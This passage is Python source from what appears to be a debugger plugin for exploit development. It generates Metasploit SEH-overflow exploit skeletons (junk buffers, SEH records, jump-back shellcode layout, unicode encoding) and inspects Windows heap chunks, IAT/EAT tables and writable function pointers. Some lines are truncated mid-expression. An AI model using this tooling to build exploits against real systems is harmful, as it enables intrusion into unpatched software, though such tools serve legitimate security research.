isSEHUnicode: + sehcriteria["unicode"] = True + if "nonull" in sehcriteria: + sehcriteria.pop("nonull") + modulecriteria["safeseh"] = False + #get SEH pointers + silent = True + ptr_counter = 0 + ptr_to_get = 1 + seh_pointers = findSEH(modulecriteria,sehcriteria) + jmpback = False + silent = False + if not isSEHUnicode: + #did we find a pointer ? + if len(seh_pointers) == 0: + #did we try to avoid nulls ? + dbg.log("[+] No non-null pointers found, trying 'jump back' layout now...") + if "nonull" in sehcriteria: + if sehcriteria["nonull"] == True: + sehcriteria.pop("nonull") + silent = True + ptr_counter = 0 + ptr_to_get = 1 + seh_pointers = findSEH(modulecriteria,sehcriteria) + silent = False + jmpback = True + if len(seh_pointers) != 0: + for ptrtypes in seh_pointers: + sehptr = seh_pointers[ptrtypes][0] + instrinfo = ptrtypes + break + else: + if len(seh_pointers) == 0: + sehptr = 0 + else: + for ptrtypes in seh_pointers: + sehptr = seh_pointers[ptrtypes][0] + instrinfo = ptrtypes + break + + if sehptr != 0: + ptrx = MnPointer(sehptr) + modname = ptrx.belongsTo() + mixin = "" + if not jmpback: + mixin += "#Don't forget to include the SEH mixin !\n" + mixin += "include Msf::Exploit::Seh\n\n" + skeletonheader += " include Msf::Exploit::Seh\n" + + targetstr = " 'Targets' =>\n" + targetstr += " [\n" + targetstr += " [ '',\n" + targetstr += " {\n" + if not isSEHUnicode: + targetstr += " 'Ret' => 0x" + toHex(sehptr) + ", # " + instrinfo + " - " + modname + "\n" + targetstr += " 'Offset' => " + str(initialoffsetSEH) + "\n" + else: + origptr = toHex(sehptr) + #real unicode ? + unicodeptr = "" + transforminfo = "" + if origptr[0] == "0" and origptr[1] == "0" and origptr[4] == "0" and origptr[5] == "0": + unicodeptr = "\"\\x" + origptr[6] + origptr[7] + "\\x" + origptr[2] + origptr[3] + "\"" + else: + #transform + transform = UnicodeTransformInfo(origptr) + transformparts = transform.split(",") + transformsubparts = transformparts[0].split(" ") + origptr = transformsubparts[len(transformsubparts)-1] + transforminfo = " #unicode transformed to 0x" + toHex(sehptr) + unicodeptr = "\"\\x" + origptr[6] + origptr[7] + "\\x" + origptr[2] + origptr[3] + "\"" + targetstr += " 'Ret' => " + unicodeptr + "," + transforminfo + " # " + instrinfo + " - " + modname + "\n" + targetstr += " 'Offset' => " + str(initialoffsetSEH) + " #Unicode\n" + targetstr += " }\n" + targetstr += " ],\n" + targetstr += " ],\n" + + exploitstr = " def exploit\n\n" + if exploittype.find("network") > -1: + exploitstr += "\n connect\n\n" + + if not isSEHUnicode: + if not jmpback: + exploitstr += " buffer = rand_text(target['Offset']) #junk\n" + exploitstr += " buffer << generate_seh_record(target.ret)\n" + exploitstr += " buffer << payload.encoded #" + str(shellcodesizeSEH) +" bytes of space\n" + exploitstr += " # more junk may be needed to trigger the exception\n" + else: + exploitstr += " jmp_back = Rex::Arch::X86.jmp_short(-payload.encoded.length-5)\n\n" + exploitstr += " buffer = rand_text(target['Offset'] - payload.encoded.length - jmp_back.length) #junk\n" + exploitstr += " buffer << payload.encoded\n" + exploitstr += " buffer << jmp_back #jump back to start of payload.encoded\n" + exploitstr += " buffer << '\\xeb\\xf9\\x41\\x41' #nseh, jump back to jmp_back\n" + exploitstr += " buffer << [target.ret].pack('V') #seh\n" + else: + exploitstr += " nseh = \n" + exploitstr += " align = \n\n" + exploitstr += " padding = \n\n" + exploitstr += " # Metasploit requires double encoding for unicode : Use alpha_xxxx encoder in the payload section\n" + exploitstr += " # and then manually encode with unicode inside the exploit section :\n\n" + exploitstr += " enc = framework.encoders.create('x86/unicode_mixed')\n\n" + exploitstr += " register_to_align_to = \n\n" + exploitstr += " enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })\n\n" + exploitstr += " unicodepayload = enc.encode(payload.encoded, nil, nil, platform)\n\n" + exploitstr += " buffer = rand_text(target['Offset']) #unicode junk\n" + exploitstr += " buffer << nseh #Unicode walkover friendly dword\n" + exploitstr += " buffer << target['Ret'] #Unicode friendly p/p/r\n" + exploitstr += " buffer << align\n" + exploitstr += " buffer << padding\n" + exploitstr += " buffer << unicodepayload\n" + + if exploittype.find("network") > -1: + exploitstr += "\n print_status(\"Trying target #{target.name}...\")\n" + exploitstr += " sock.put(buffer)\n\n" + exploitstr += " handler\n" + if exploittype == "fileformat": + exploitstr += "\n file_create(buffer)\n\n" + if exploittype.find("network") > -1: + exploitstr += " disconnect\n\n" + + exploitstr += " end\n" + if mixin != "": + dbg.log("Metasploit 'include' section :") + dbg.log("------------------------------") + dbg.logLines(mixin) + dbg.log("Metasploit 'Targets' section :") + dbg.log("------------------------------") + dbg.logLines(targetstr.replace(" "," ")) + dbg.log("") + dbg.log("Metasploit 'exploit' function :") + dbg.log("--------------------------------") + dbg.logLines(exploitstr.replace(" "," ")) + + + #write skeleton + objexploitfile_seh.write(skeletonheader+"\n",exploitfile_seh) + objexploitfile_seh.write(skeletoninit+"\n",exploitfile_seh) + objexploitfile_seh.write(targetstr,exploitfile_seh) + objexploitfile_seh.write(skeletoninit2,exploitfile_seh) + objexploitfile_seh.write(exploitstr,exploitfile_seh) + objexploitfile_seh.write("end",exploitfile_seh) + + else: + dbg.log(" Unable to suggest a buffer layout because I couldn't find any good pointers",highlight=1) + + return + + #-----stacks-----# + def procStacks(args): + stacks = getStacks() + if len(stacks) > 0: + dbg.log("Stacks :") + dbg.log("--------") + for threadid in stacks: + dbg.log("Thread %s : Stack : 0x%s - 0x%s (size : 0x%s)" % (str(threadid),toHex(stacks[threadid][0]),toHex(stacks[threadid][1]),toHex(stacks[threadid][1]-stacks[threadid][0]))) + else: + dbg.log("No threads/stacks found !",highlight=1) + return + + #------heapstuff-----# + + def procHeap(args): + + os = dbg.getOsVersion() + heapkey = 0 + + #first, print list of heaps + allheaps = [] + try: + allheaps = dbg.getHeapsAddress() + except: + allheaps = [] + dbg.log("Peb : 0x%08x, NtGlobalFlag : 0x%08x" % (dbg.getPEBAddress(),getNtGlobalFlag())) + dbg.log("Heaps:") + dbg.log("------") + if len(allheaps) > 0: + for heap in allheaps: + segments = getSegmentList(heap) + segmentlist = [] + for segment in segments: + segmentlist.append(segment) + if not win7mode: + segmentlist.sort() + segmentinfo = "" + for segment in segmentlist: + segmentinfo = segmentinfo + "0x%08x" % segment + "," + segmentinfo = segmentinfo.strip(",") + segmentinfo = " : " + segmentinfo + defheap = "" + lfhheap = "" + keyinfo = "" + if heap == getDefaultProcessHeap(): + defheap = "* Default process heap" + if win7mode: + iHeap = MnHeap(heap) + if iHeap.usesLFH(): + lfhheapaddress = iHeap.getLFHAddress() + lfhheap = "[LFH enabled, _LFH_HEAP at 0x%08x]" % lfhheapaddress + if iHeap.getEncodingKey() > 0: + keyinfo = "Encoding key: 0x%08x" % iHeap.getEncodingKey() + dbg.log("0x%08x (%d segment(s)%s) %s %s %s" % (heap,len(segments),segmentinfo,defheap,lfhheap,keyinfo)) + else: + dbg.log(" ** No heaps found") + dbg.log("") + + heapbase = 0 + searchtype = "" + searchtypes = ["lal","lfh","all","segments", "chunks", "layout", "fea", "bea"] + error = False + filterafter = "" + + showdata = False + findvtablesize = True + expand = False + + minstringlength = 32 + + if len(allheaps) > 0: + if "h" in args and type(args["h"]).__name__.lower() != "bool": + hbase = args["h"].replace("0x","").replace("0X","") + if not (isAddress(hbase) or hbase.lower() == "default"): + dbg.log("%s is an invalid address" % args["h"], highlight=1) + return + else: + if hbase.lower() == "default": + heapbase = getDefaultProcessHeap() + else: + heapbase = hexStrToInt(hbase) + + if "t" in args: + if type(args["t"]).__name__.lower() != "bool": + searchtype = args["t"].lower().replace('"','').replace("'","") + if searchtype == "blocks": + dbg.log("** Note : type 'blocks' has been replaced with 'chunks'",highlight=1) + dbg.log("") + searchtype = "chunks" + if not searchtype in searchtypes: + searchtype = "" + else: + searchtype = "" + + if "after" in args: + if type(args["after"]).__name__.lower() != "bool": + filterafter = args["after"].replace('"','').replace("'","") + + if "v" in args: + showdata = True + + if "expand" in args: + expand = True + + if "fast" in args: + findvtablesize = False + showdata = False + + if searchtype == "" and not "stat" in args: + dbg.log("Please specify a valid searchtype -t",highlight=1) + dbg.log("Valid values are :",highlight=1) + for val in searchtypes: + if val != "blocks": + dbg.log(" %s" % val,highlight=1) + error = True + + if "h" in args and heapbase == 0: + dbg.log("Please specify a valid heap base address -h",highlight=1) + error = True + + if "size" in args: + if type(args["size"]).__name__.lower() != "bool": + size = args["size"].lower() + if size.startswith("0x"): + minstringlength = hexStrToInt(size) + else: + minstringlength = int(size) + else: + dbg.log("Please provide a valid size -size",highlight=1) + error = True + + if "clearcache" in args: + dbg.forgetKnowledge("vtableCache") + dbg.log("[+] vtableCache cleared.") + + else: + dbg.log("No heaps found",highlight=1) + return + + heap_to_query = [] + heapfound = False + + if "h" in args: + for heap in allheaps: + if heapbase == heap: + heapfound = True + heap_to_query = [heapbase] + if not heapfound: + error = True + dbg.log("0x%08x is not a valid heap base address" % heapbase,highlight=1) + else: + #show all heaps + for heap in allheaps: + heap_to_query.append(heap) + + if error: + return + else: + statinfo = {} + logfile_b = "" + thislog_b = "" + logfile_l = "" + logfile_l = "" + + if searchtype == "chunks" or searchtype == "all": + logfile_b = MnLog("heapchunks.txt") + thislog_b = logfile_b.reset() + + if searchtype == "layout" or searchtype == "all": + logfile_l = MnLog("heaplayout.txt") + thislog_l = logfile_l.reset() + + for heapbase in heap_to_query: + mHeap = MnHeap(heapbase) + heapbase_extra = "" + frontendinfo = [] + frontendheapptr = 0 + frontendheaptype = 0 + if win7mode: + heapkey = mHeap.getEncodingKey() + if mHeap.usesLFH(): + frontendheaptype = 0x2 + heapbase_extra = " [LFH] " + frontendheapptr = mHeap.getLFHAddress() + frontendinfo = [frontendheaptype,frontendheapptr] + + dbg.log("") + dbg.log("[+] Processing heap 0x%08x%s" % (heapbase,heapbase_extra)) + + if searchtype == "fea": + if win7mode: + searchtype = "lfh" + else: + searchtype = "lal" + if searchtype == "bea": + searchtype = "freelist" + + # LookAsideList + if searchtype == "lal" or (searchtype == "all" and not win7mode): + lalindex = 0 + if win7mode: + dbg.log(" !! This version of the OS doesn't have a LookAside List !!") + else: + dbg.log("[+] FrontEnd Allocator : LookAsideList") + dbg.log("[+] Getting LookAsideList for heap 0x%08x" % heapbase) + # do we have a LAL for this heap ? + FrontEndHeap = mHeap.getFrontEndHeap() + if FrontEndHeap > 0: + dbg.log(" FrontEndHeap: 0x%08x" % FrontEndHeap) + fea_lal = mHeap.getLookAsideList() + dbg.log(" Nr of (non-empty) LookAside Lists : %d" % len(fea_lal)) + dbg.log("") + for lal_table_entry in sorted(fea_lal.keys()): + expectedsize = lal_table_entry * 8 + nr_of_chunks = len(fea_lal[lal_table_entry]) + lalhead = struct.unpack(' 1 and int(bitmapstr[flindex]) != flindicator: + dbg.log(" ** FreeListsInUseBitmap mismatch for index %d! **" % flindex, highlight = True) + flindex += 1 + + if searchtype == "layout" or searchtype == "all": + segments = getSegmentsForHeap(heapbase) + + sortedsegments = [] + global vtableCache + # read vtableCache from knowledge + vtableCache = dbg.getKnowledge("vtableCache") + if vtableCache is None: + vtableCache = {} + + for seg in segments: + sortedsegments.append(seg) + if not win7mode: + sortedsegments.sort() + segmentcnt = 0 + minstringlen = minstringlength + blockmem = [] + nr_filter_matches = 0 + + vablocks = [] + # VirtualAllocdBlocks + vachunks = mHeap.getVirtualAllocdBlocks() + infoblocks = {} + infoblocks["segments"] = sortedsegments + if expand: + infoblocks["virtualallocdblocks"] = [vachunks] + + for infotype in infoblocks: + heapdata = infoblocks[infotype] + for thisdata in heapdata: + if infotype == "segments": + seg = thisdata + segmentcnt += 1 + segstart = segments[seg][0] + segend = segments[seg][1] + FirstEntry = segments[seg][2] + LastValidEntry = segments[seg][3] + datablocks = walkSegment(FirstEntry,LastValidEntry,heapbase) + tolog = "----- Heap 0x%08x%s, Segment 0x%08x - 0x%08x (%d/%d) -----" % (heapbase,heapbase_extra,segstart,segend,segmentcnt,len(sortedsegments)) + + if infotype == "virtualallocdblocks": + datablocks = heapdata[0] + tolog = "----- Heap 0x%08x%s, VirtualAllocdBlocks : %d" % (heapbase,heapbase_extra,len(datablocks)) + + logfile_l.write(" ",thislog_l) + dbg.log(tolog) + logfile_l.write(tolog,thislog_l) + + sortedblocks = [] + for block in datablocks: + sortedblocks.append(block) + sortedblocks.sort() + + # for each block, try to get info + # object ? + # BSTR ? + # str ? + for block in sortedblocks: + showinlog = False + thischunk = datablocks[block] + unused = thischunk.unused + headersize = thischunk.headersize + flags = getHeapFlag(thischunk.flag) + userptr = block + headersize + psize = thischunk.prevsize * 8 + blocksize = thischunk.size * 8 + selfsize = blocksize + usersize = selfsize - unused + usersize = blocksize - unused + extratxt = "" + if infotype == "virtualallocdblocks": + selfsize = thischunk.commitsize * 8 + blocksize = selfsize + usersize = selfsize - unused + nextblock = thischunk.flink + # read block into memory + blockmem = dbg.readMemory(block,blocksize) + + # first, find all strings (ascii, unicode and BSTR) + asciistrings = {} + unicodestrings = {} + bstr = {} + objects = {} + asciistrings = getAllStringOffsets(blockmem,minstringlen) + + # determine remaining subsets of the original block + remaining = {} + curpos = 0 + for stringpos in asciistrings: + if stringpos > curpos: + remaining[curpos] = stringpos - curpos + curpos = asciistrings[stringpos] + if curpos < blocksize: + remaining[curpos] = blocksize + + # search for unicode in remaining subsets only - tx for the regex help Turboland ! + for remstart in remaining: + remend = remaining[remstart] + thisunicodestrings = getAllUnicodeStringOffsets(blockmem[remstart:remend],minstringlen,remstart) + # append results to master list + for tus in thisunicodestrings: + unicodestrings[tus] = thisunicodestrings[tus] + + # check each unicode, maybe it's a BSTR + tomove = [] + for unicodeoffset in unicodestrings: + delta = unicodeoffset + size = (unicodestrings[unicodeoffset] - unicodeoffset)/2 + if delta >= 4: + maybesize = struct.unpack(' -1 and line.find("vftable") > -1: + parts = line.split(" ") + objconstr = "" + if len(parts) > 3: + objectptr = hexStrToInt(parts[0]) + cnt = 2 + objectinfo = "" + while cnt < len(parts): + objectinfo += parts[cnt] + " " + cnt += 1 + parts2 = line.split("::") + parts2name = "" + pcnt = 0 + while pcnt < len(parts2)-1: + parts2name = parts2name + "::" + parts2[pcnt] + pcnt += 1 + parts3 = parts2name.split(" ") + if len(parts3) > 3: + objconstr = parts3[3] + if not objectptr in objects: + objects[objectptr-block] = [objectinfo,objconstr] + objsize = 0 + if findvtablesize: + if not objconstr in vtableCache: + cmd2run = "u %s::CreateElement L 12" % objconstr + objoutput = dbg.nativeCommand(cmd2run) + if not "HeapAlloc" in objoutput: + cmd2run = "x %s::operator*" % objconstr + oplist = dbg.nativeCommand(cmd2run) + oplines = oplist.split("\n") + oppat = "%s::operator" % objconstr + for opline in oplines: + if oppat in opline and not "del" in opline: + lineparts = opline.split(" ") + cmd2run = "uf %s" % lineparts[0] + objoutput = dbg.nativeCommand(cmd2run) + break + if "HeapAlloc" in objoutput: + objlines = objoutput.split("\n") + lineindex = 0 + for objline in objlines: + if "HeapAlloc" in objline: + if lineindex >= 3: + sizeline = objlines[lineindex-3] + if "push" in sizeline: + sizelineparts = sizeline.split("push") + if len(sizelineparts) > 1: + sizevalue = sizelineparts[len(sizelineparts)-1].replace(" ","").replace("h","") + try: + objsize = hexStrToInt(sizevalue) + # adjust allocation granulariy + remainsize = objsize - ((objsize / 8) * 8) + while remainsize != 0: + objsize += 1 + remainsize = objsize - ((objsize / 8) * 8) + except: + #print traceback.format_exc() + objsize = 0 + break + lineindex += 1 + vtableCache[objconstr] = objsize + else: + objsize = vtableCache[objconstr] + + # remove object entries that belong to the same object + allobjects = [] + objectstodelete = [] + for optr in objects: + allobjects.append(optr) + allobjects.sort() + skipuntil = 0 + for optr in allobjects: + if optr < skipuntil: + objectstodelete.append(optr) + else: + objname = objects[optr][1] + objsize = 0 + try: + objsize = vtableCache[objname] + except: + objsize = 0 + skipuntil = optr + objsize + # remove vtable lines that are too close to each other + minvtabledistance = 0x0c + prevvname = "" + prevptr = 0 + thisvname = "" + for optr in allobjects: + thisvname = objects[optr][1] + if thisvname == prevvname and (optr - prevptr) <= minvtabledistance: + if not optr in objectstodelete: + objectstodelete.append(optr) + else: + prevptr = optr + prevvname = thisvname + + + for vtableptr in objectstodelete: + del objects[vtableptr] + + for obj in objects: + orderedobj.append(obj) + + for ascstring in asciistrings: + orderedobj.append(ascstring) + + for unicodestring in unicodestrings: + orderedobj.append(unicodestring) + + for bstrobj in bstr: + orderedobj.append(bstrobj) + + orderedobj.sort() + + # print out details for this chunk + chunkprefix = "" + fieldname1 = "Usersize" + fieldname2 = "ChunkSize" + if infotype == "virtualallocdblocks": + chunkprefix = "VA " + fieldname1 = "CommitSize" + tolog = "%sChunk 0x%08x (%s 0x%x, %s 0x%x) : %s" % (chunkprefix,block,fieldname1,usersize,fieldname2,usersize+unused,flags) + if showdata: + dbg.log(tolog) + logfile_l.write(tolog,thislog_l) + + previousptr = block + previoussize = 0 + showinlog = False + for ptr in orderedobj: + ptrtype = "" + ptrinfo = "" + data = "" + alldata = "" + blockinfo = "" + ptrbytes = 0 + endptr = 0 + datasize = 0 + ptrchars = 0 + infoptr = block + ptr + endptr = 0 + if ptr in asciistrings: + ptrtype = "String" + dataend = asciistrings[ptr] + data = blockmem[ptr:dataend] + alldata = data + ptrbytes = len(data) + ptrchars = ptrbytes + datasize = ptrbytes + if ptrchars > 100: + data = data[0:100]+"..." + blockinfo = "%s (Data : 0x%x/%d bytes, 0x%x/%d chars) : %s" % (ptrtype,ptrbytes,ptrbytes,ptrchars,ptrchars,data) + infoptr = block + ptr + endptr = infoptr + ptrchars - 1 # need -1 + elif ptr in bstr: + ptrtype = "BSTR" + dataend = bstr[ptr] + data = blockmem[ptr:dataend].replace("\x00","") + alldata = data + ptrchars = len(data) + ptrbytes = ptrchars*2 + datasize = ptrbytes+6 + infoptr = block + ptr - 3 + if ptrchars > 100: + data = data[0:100]+"..." + blockinfo = "%s 0x%x/%d bytes (Data : 0x%x/%d bytes, 0x%x/%d chars) : %s" % (ptrtype,ptrbytes+6,ptrbytes+6,ptrbytes,ptrbytes,ptrchars,ptrchars,data) + endptr = infoptr + ptrbytes + 6 + elif ptr in unicodestrings: + ptrtype = "Unicode" + dataend = unicodestrings[ptr] + data = blockmem[ptr:dataend].replace("\x00","") + alldata = "" + ptrchars = len(data) + ptrbytes = ptrchars * 2 + datasize = ptrbytes + if ptrchars > 100: + data = data[0:100]+"..." + blockinfo = "%s (0x%x/%d bytes, 0x%x/%d chars) : %s" % (ptrtype,ptrbytes,ptrbytes,ptrchars,ptrchars,data) + endptr = infoptr + ptrbytes + 2 + elif ptr in objects: + ptrtype = "Object" + data = objects[ptr][0] + vtablename = objects[ptr][1] + datasize = 0 + if vtablename in vtableCache: + datasize = vtableCache[vtablename] + alldata = data + if datasize > 0: + blockinfo = "%s (0x%x bytes): %s" % (ptrtype,datasize,data) + else: + blockinfo = "%s : %s" % (ptrtype,data) + endptr = infoptr + datasize + + # calculate delta + slackspace = infoptr - previousptr + if endptr > 0 and not ptrtype=="Object": + if slackspace >= 0: + tolog = " +%04x @ %08x->%08x : %s" % (slackspace,infoptr,endptr,blockinfo) + else: + tolog = " @ %08x->%08x : %s" % (infoptr,endptr,blockinfo) + else: + if slackspace >= 0: + if endptr != infoptr: + tolog = " +%04x @ %08x->%08x : %s" % (slackspace,infoptr,endptr,blockinfo) + else: + tolog = " +%04x @ %08x : %s" % (slackspace,infoptr,blockinfo) + else: + tolog = " @ %08x : %s" % (infoptr,blockinfo) + + if filterafter == "" or (filterafter != "" and filterafter in alldata): + showinlog = True # keep this for the entire block + if (filterafter != ""): + nr_filter_matches += 1 + if showinlog: + if showdata: + dbg.log(tolog) + logfile_l.write(tolog,thislog_l) + + previousptr = endptr + previoussize = datasize + + # save vtableCache again + if filterafter != "": + tolog = "Nr of filter matches: %d" % nr_filter_matches + if showdata: + dbg.log("") + dbg.log(tolog) + logfile_l.write("",thislog_l) + logfile_l.write(tolog,thislog_l) + dbg.addKnowledge("vtableCache",vtableCache) + + + if searchtype in ["segments","all","chunks"] or "stat" in args: + segments = getSegmentsForHeap(heapbase) + dbg.log("Segment List for heap 0x%08x:" % (heapbase)) + dbg.log("---------------------------------") + sortedsegments = [] + for seg in segments: + sortedsegments.append(seg) + if not win7mode: + sortedsegments.sort() + vablocks = [] + # VirtualAllocdBlocks + vachunks = mHeap.getVirtualAllocdBlocks() + infoblocks = {} + infoblocks["segments"] = sortedsegments + if searchtype in ["all","chunks"]: + infoblocks["virtualallocdblocks"] = [vachunks] + + for infotype in infoblocks: + heapdata = infoblocks[infotype] + for thisdata in heapdata: + tolog = "" + if infotype == "segments": + # 0 : segmentstart + # 1 : segmentend + # 2 : firstentry + # 3 : lastentry + seg = thisdata + segstart = segments[seg][0] + segend = segments[seg][1] + segsize = segend-segstart + FirstEntry = segments[seg][2] + LastValidEntry = segments[seg][3] + tolog = "Segment 0x%08x - 0x%08x (FirstEntry: 0x%08x - LastValidEntry: 0x%08x): 0x%08x bytes" % (segstart,segend,FirstEntry,LastValidEntry, segsize) + if infotype == "virtualallocdblocks": + vablocks = heapdata + tolog = "Heap : 0x%08x%s : VirtualAllocdBlocks : %d " % (heapbase,heapbase_extra,len(vachunks)) + #dbg.log("") + dbg.log(tolog) + if searchtype == "chunks" or "stat" in args: + try: + logfile_b.write("Heap: 0x%08x%s" % (heapbase,heapbase_extra),thislog_b) + #logfile_b.write("",thislog_b) + logfile_b.write(tolog,thislog_b) + except: + pass + if infotype == "segments": + datablocks = walkSegment(FirstEntry,LastValidEntry,heapbase) + else: + datablocks = heapdata[0] + tolog = " Nr of chunks : %d " % len(datablocks) + dbg.log(tolog) + try: + logfile_b.write(tolog,thislog_b) + except: + + pass + if len(datablocks) > 0: + tolog = " _HEAP_ENTRY psize size unused UserPtr UserSize" + dbg.log(tolog) + try: + logfile_b.write(tolog,thislog_b) + except: + pass + sortedblocks = [] + for block in datablocks: + sortedblocks.append(block) + sortedblocks.sort() + nextblock = 0 + segstatinfo = {} + for block in sortedblocks: + showinlog = False + thischunk = datablocks[block] + unused = thischunk.unused + headersize = thischunk.headersize + flagtxt = getHeapFlag(thischunk.flag) + if not infotype == "virtualallocdblocks" and "virtallocd" in flagtxt.lower(): + flagtxt += " (LFH)" + flagtxt = flagtxt.replace("Virtallocd","Internal") + userptr = block + headersize + psize = thischunk.prevsize * 8 + blocksize = thischunk.size * 8 + selfsize = blocksize + usersize = selfsize - unused + usersize = blocksize - unused + extratxt = "" + if infotype == "virtualallocdblocks": + nextblock = thischunk.flink + extratxt = " (0x%x bytes committed)" % (thischunk.commitsize * 8) + else: + nextblock = block + blocksize + + if not "stat" in args: + tolog = " %08x %05x %05x %05x %08x %08x (%d) (%s) %s" % (block,psize,selfsize,unused,block+headersize,usersize,usersize,flagtxt,extratxt) + dbg.log(tolog) + logfile_b.write(tolog,thislog_b) + else: + if not usersize in segstatinfo: + segstatinfo[usersize] = 1 + else: + segstatinfo[usersize] += 1 + + if nextblock > 0 and nextblock < LastValidEntry: + if not "stat" in args: + nextblock -= headersize + restbytes = LastValidEntry - nextblock + tolog = " 0x%08x - 0x%08x (end of segment) : 0x%x (%d) uncommitted bytes" % (nextblock,LastValidEntry,restbytes,restbytes) + dbg.log(tolog) + logfile_b.write(tolog,thislog_b) + if "stat" in args: + statinfo[segstart] = segstatinfo + # show statistics + orderedsizes = [] + totalalloc = 0 + for thissize in segstatinfo: + orderedsizes.append(thissize) + totalalloc += segstatinfo[thissize] + orderedsizes.sort(reverse=True) + tolog = " Segment Statistics:" + dbg.log(tolog) + try: + logfile_b.write(tolog,thislog_b) + except: + pass + for thissize in orderedsizes: + nrblocks = segstatinfo[thissize] + percentage = (float(nrblocks) / float(totalalloc)) * 100 + tolog = " Size : 0x%x (%d) : %d chunks (%.2f %%)" % (thissize,thissize,nrblocks,percentage) + + dbg.log(tolog) + try: + logfile_b.write(tolog,thislog_b) + except: + pass + tolog = " Total chunks : %d" % totalalloc + dbg.log(tolog) + try: + logfile_b.write(tolog,thislog_b) + except: + pass + tolog = "" + try: + logfile_b.write(tolog,thislog_b) + except: + pass + dbg.log("") + dbg.log("") + + + if "stat" in args and len(statinfo) > 0: + tolog = "Global statistics" + dbg.log(tolog) + try: + logfile_b.write(tolog,thislog_b) + except: + pass + globalstats = {} + allalloc = 0 + for seginfo in statinfo: + segmentstats = statinfo[seginfo] + for size in segmentstats: + allalloc += segmentstats[size] + if not size in globalstats: + globalstats[size] = segmentstats[size] + else: + globalstats[size] += segmentstats[size] + orderedstats = [] + for size in globalstats: + orderedstats.append(size) + orderedstats.sort(reverse=True) + for thissize in orderedstats: + nrblocks = globalstats[thissize] + percentage = (float(nrblocks) / float(allalloc)) * 100 + tolog = " Size : 0x%x (%d) : %d chunks (%.2f %%)" % (thissize,thissize,nrblocks,percentage) + dbg.log(tolog) + try: + logfile_b.write(tolog,thislog_b) + except: + pass + tolog = " Total chunks : %d" % allalloc + dbg.log(tolog) + try: + logfile_b.write(tolog,thislog_b) + except: + pass + #dbg.log("%s" % "*" * 90) + + return + + def procGetIAT(args): + return procGetxAT(args,"iat") + + def procGetEAT(args): + return procGetxAT(args,"eat") + + def procFwptr(args): + modulecriteria = {} + criteria = {} + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + modulestosearch = getModulesToQuery(modulecriteria) + allpages = dbg.getMemoryPages() + orderedpages = [] + for page in allpages.keys(): + orderedpages.append(page) + orderedpages.sort() + pagestoquery = {} + fwptrs = {} + + objwptr = MnLog("wptr.txt") + wptrfile = objwptr.reset() + + setbps = False + dopatch = False + dofreelist = False + + if "bp" in args: + setbps = True + + if "patch" in args: + dopatch = True + + if "freelist" in args: + dofreelist = True + + chunksize = 0 + offset = 0 + + if "chunksize" in args: + if type(args["chunksize"]).__name__.lower() != "bool": + try: + if str(args["chunksize"]).lower().startswith("0x"): + chunksize = int(args["chunksize"],16) + else: + chunksize = int(args["chunksize"]) + except: + chunksize = 0 + if chunksize == 0 or chunksize > 0xffff: + dbg.log("[!] Invalid chunksize specified") + if chunksize > 0xffff: + dbg.log("[!] Chunksize must be <= 0xffff") + chunksize == 0 + return + else: + dbg.log("[+] Will filter on chunksize 0x%0x" % chunksize ) + if dofreelist: + if "offset" in args: + if type(args["offset"]).__name__.lower() != "bool": + try: + if str(args["offset"]).lower().startswith("0x"): + offset = int(args["offset"],16) + else: + offset = int(args["offset"]) + except: + offset = 0 + if offset == 0: + dbg.log("[!] Invalid offset specified") + else: + dbg.log("[+] Will add 0x%0x bytes between flink/blink and fwptr" % offset ) + + if not silent: + if setbps: + dbg.log("[+] Will set breakpoints on found CALL/JMP") + if dopatch: + dbg.log("[+] Will patch target for CALL/JMP with 0x41414141") + dbg.log("[+] Extracting .text/.code sections from %d modules" % len(modulestosearch)) + dbg.updateLog() + + if len(modulestosearch) > 0: + for thismodule in modulestosearch: + # find text section + for thispage in orderedpages: + page = allpages[thispage] + pagestart = page.getBaseAddress() + pagesize = page.getSize() + ptr = MnPointer(pagestart) + mod = "" + sectionname = "" + try: + mod = ptr.belongsTo() + if mod == thismodule: + sectionname = page.getSection() + if sectionname == ".text" or sectionname == ".code": + pagestoquery[mod] = [pagestart,pagestart+pagesize] + break + except: + pass + if len(pagestoquery) > 0: + if not silent: + dbg.log("[+] Analysing .text/.code sections") + dbg.updateLog() + for modname in pagestoquery: + tmodcnt = 0 + nr_sizematch = 0 + pagestart = pagestoquery[modname][0] + pageend = pagestoquery[modname][1] + if not silent: + dbg.log(" - Carving through %s (0x%08x - 0x%08x)" % (modname,pagestart,pageend)) + dbg.updateLog() + loc = pagestart + while loc < pageend: + try: + thisinstr = dbg.disasm(loc) + instrbytes = thisinstr.getDump() + if thisinstr.isJmp() or thisinstr.isCall(): + # check if it's reading a pointer from somewhere + instrtext = getDisasmInstruction(thisinstr) + opcodepart = instrbytes.upper()[0:4] + if opcodepart == "FF15" or opcodepart == "FF25": + if "[" in instrtext and "]" in instrtext: + parts1 = instrtext.split("[") + if len(parts1) > 1: + parts2 = parts1[1].split("]") + addy = parts2[0] + # get the actual value and check if it's writeable + if "(" in addy and ")" in addy: + parts1 = addy.split("(") + parts2 = parts1[1].split(")") + addy = parts2[0] + if isHexValue(addy): + addyval = hexStrToInt(addy) + access = getPointerAccess(addyval) + if "WRITE" in access: + if meetsCriteria(addyval,criteria): + savetolog = False + sizeinfo = "" + if chunksize == 0: + savetolog = True + else: + # check if this location could acts as a heap chunk for a certain size + # the size field would be placed at the curren location - 8 bytes + # and is 2 bytes large + sizeval = 0 + if not dofreelist: + sizeval = struct.unpack('= chunksize: + savetolog = True + nr_sizematch += 1 + sizeinfo = " Chunksize: %d (0x%02x) - " % ((sizeval*8),(sizeval*8)) + else: + sizeval = struct.unpack(' 0: + loc = loc + len(instrbytes)/2 + else: + loc = loc + 1 + except: + loc = loc + 1 + if not silent: + dbg.log(" Found %d pointers" % tmodcnt) + if chunksize > 0: + dbg.log(" %d pointers with size match" % nr_sizematch) + + return + + def procGetxAT(args,mode): + + keywords = [] + keywordstring = "" + modulecriteria = {} + criteria = {} + + thisxat = {} + + entriesfound = 0 + + if "s" in args: + if type(args["s"]).__name__.lower() != "bool": + keywordstring = args["s"].replace("'","").replace('"','') + keywords = keywordstring.split(",") + + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + + modulestosearch = getModulesToQuery(modulecriteria) + if not silent: + dbg.log("[+] Querying %d modules" % len(modulestosearch)) + + if len(modulestosearch) > 0: + + xatfilename="%ssearch.txt" % mode + objxatfilename = MnLog(xatfilename) + xatfile = objxatfilename.reset() + + for thismodule in modulestosearch: + thismod = MnModule(thismodule) + if mode == "iat": + thisxat = thismod.getIAT() + else: + thisxat = thismod.getEAT() 